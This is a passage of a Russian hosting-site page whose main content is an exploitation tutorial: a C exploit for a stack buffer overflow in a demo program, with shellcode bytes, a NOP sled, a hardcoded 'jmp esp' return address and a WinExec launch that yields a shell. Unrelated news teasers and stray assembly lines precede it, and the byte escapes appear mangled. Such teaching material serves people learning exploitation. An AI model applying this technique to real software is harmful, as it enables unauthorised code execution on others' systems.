Вход на хостинг
IT-новости
20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла
Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......
30.07.2015 Ищем уникальный контент для сайта
Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......
nop ;
end start
end
Теперь, после всех этих изнурительных подготовительных действий, мы готовы написать эксплоит, использующий уязвимость в нашей программе.
Переходим к листингу эксплоита:
#include <stdio.h>
#include <windows.h>
void main (int argc, char *argv[])
{
char *shell1=
"x6ax01x8bxf4xadx3dx78x56x34x12x75xf8x56xb8xc6x84"
"xe6x77xffxd0x90x90x33xc0x50xb8xb5x5cxe7x77xffxd0"
"x78x56x34x12x63x6dx64x2ex65x78x65";
char mass[152];
char buff[160]="BUG.EXE ";
// n0p's
memset(mass,'x90',104);
// n0p's + jmp esp
strcat(mass,"x4ax75xd7x77");
// n0p's + jmp esp + shell_c0de
strcat(mass,shell1);
// file_name + n0p's + jmp esp + shell_c0de
strcat(buff,mass);
WinExec(buff,1);
}
В начале данного эксплоита идёт описание переменных, и в том числе там есть наш shell-код и имя уязвимого файла. Далее мы формируем строку:
n Кладем туда 104 nop (на самом деле туда можно положить всё что душе угодно, так как управление будет передаваться всё равно за адрес возврата);
n Затем в эту строку добавляем адрес инструкции «jmp esp»;
n И только после этого адреса в строку помещаем наш shell-код;
n В переменную buff к имени файла добавляется наша строка с nop с новым адресом возврата и с shell-кодом.
После того как строка запуска программы передаётся в функцию WinExec, мы получаем нашу долгожданную и любимую консоль.
Реально наша программа была запущена примерно следующим образом:
c:x-filesug.exe PPPPPPPPPPPPPPPP...РР[new_addr][shell_c0de]
Где new_addr – это новый адрес возврата, а shell_c0de – это наш shell-код.
В завершении статьи необходимо сказать, что существует возможность поиска адреса ядра в памяти, но в данном случае это неуместно, так как эксплоит получился зависимым от версии операционной системы. Вот если бы мы необходимую нам как воздух инструкцию (jmp esp) обнаружили в самой программе, то это было бы просто необходимо, и тогда бы наш эксплоит получился независимым от операционной системы.